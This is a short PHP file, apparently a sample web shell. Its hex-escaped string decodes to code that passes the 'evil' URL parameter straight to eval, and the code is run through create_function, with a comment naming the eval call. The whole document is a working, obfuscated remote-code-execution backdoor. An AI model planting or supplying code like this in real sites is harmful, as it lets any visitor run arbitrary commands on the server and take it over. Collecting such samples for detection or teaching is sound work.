eval=evil

<?php

error_reporting(E_ALL);
$x0 = "\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x76\x69\x6c\x27\x5d\x29\x29\x20\x65\x76\x61\x6c\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x76\x69\x6c\x27\x5d\x29\x3b";
$x1 = create_function('', $x0);
$x1(); // eval($_GET['evil'])